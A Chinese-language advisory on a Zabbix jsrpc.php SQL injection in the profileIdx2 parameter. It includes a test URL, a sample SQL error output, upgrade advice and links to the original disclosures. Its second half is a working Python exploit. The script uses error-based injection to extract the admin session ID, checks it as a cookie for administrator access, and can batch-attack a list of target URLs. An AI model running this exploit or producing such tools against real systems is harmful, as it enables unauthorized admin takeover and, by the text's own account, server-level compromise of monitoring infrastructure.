ZABBIX高危漏洞，无需授权登陆即可完成控制（更新利用工具）

漏洞概述

zabbix是一个开源的企业级性能监控解决方案。

官方网站：http://www.zabbix.com

zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞，攻击者无需授权登陆即可登陆zabbix管理系统，也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

影响程度

攻击成本：低

危害程度：高

是否登陆：不需要

影响范围：2.2.x, 3.0.0-3.0.3。(其他版本未经测试)

漏洞测试

在您的zabbix的地址后面加上如下url：

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim

estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi

story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil

e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=

17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&

mark_color=1

输出结果，出现如下内容(包含：You have an error in your SQL syntax;)表示漏洞存在：

div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1">table class="list-table"

id="t57ae81946b8cb">thead>tr>th class="cell-width">Timestampth>th>Valueth>tr>thead>tbody>tr

class="nothing-to-show">td colspan="2">No data found.td>tr>tbody>table>div>div class="msg-bad">div

class="msg-details">ul>li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES

(39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]li>li>Error in query

[INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime',

'20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near ''3297)' at line 1]li>li>Error in query [INSERT INTO profiles

(profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an

error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use

near ''3297)' at line 1]li>ul>div>span class="overlay-close-btn" BOX-SIZING: content-box !important; BORDER-BOTTOM: 0px; POSITION: static !important; TEXT-ALIGN: left !important; BORDER-LEFT: 0px; PADDING-BOTTOM: 0px !important; LINE-HEIGHT: 1.1em !important; FONT-STYLE: normal !important; MARGIN: 0px; OUTLINE-STYLE: none !important; OUTLINE-COLOR: invert !important; PADDING-LEFT: 0px !important; OUTLINE-WIDTH: 0px !important; WIDTH: auto !important; BOTTOM: auto !important; PADDING-RIGHT: 0px !important; FONT-FAMILY: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; WHITE-SPACE: pre !important; BACKGROUND: white; FLOAT: none !important; HEIGHT: auto !important; FONT-SIZE: 1em !important; VERTICAL-ALIGN: baseline !important; OVERFLOW: visible !important; WORD-BREAK: break-all; BORDER-TOP: 0px; TOP: auto !important; RIGHT: auto !important; FONT-WEIGHT: normal !important; BORDER-RIGHT: 0px; PADDING-TOP: 0px !important; LEFT: auto !important; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px" class="line number13 index12 alt2">$(this).closest('.msg-bad').remove();" title="Close">span>div>

补充：

以上为仅为漏洞验证测试方式。

攻击者可以通过进一步构造语句进行错误型sql注射，无需获取和破解加密的管理员密码。

有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid，替换cookie直接以管理员身份登陆。

修复方案：

哥哥们还是尽快先去升级到最新版吧，据说3.0.4版本已经修补。。。

安全提示

监控系统监控着每个企业的核心资产，一旦被黑客入侵控制，等同帮助黑客进一步渗透企业敞开了大门。

请大家务必重视，并尽快修补此漏洞。

相关信息：

该漏洞原始讨论信息 http://seclists.org/fulldisclosure/2016/Aug/79

近期发布的另外一个需要登录的SQL注入漏洞 Zabbix 3.0.3 SQL Injection Vulnerability https://www.exploit-db.com/exploits/40237/

Zabbix 关于该漏洞相关信息 https://support.zabbix.com/browse/ZBX-11023

利用工具，可自动判断Session是否可用：(2016-8-18 13点更新，作者：黄雨)

import urllib,sys,urllib2,urllib

def cookie(url):

poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='

body= urllib.urlopen(url+poc).read()

cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2]

return cookie

def test(cookie,url):

url=url+'proxies.php'

req=urllib2.Request(url)

cook="zbx_sessionid=%s" % cookie

req.add_header('Cookie', cook)

response=urllib2.urlopen(req)

data=response.read()

if data.find('Access denied.') 0:

print "OK-->",cookie

else:

print 'ERROR'

if len(sys.argv)==4:

for i in open(sys.argv[3]).readlines():

print i

test(cookie(i),i)

else:

print sys.argv[1]

test(cookie(sys.argv[1]),sys.argv[1])

使用截图：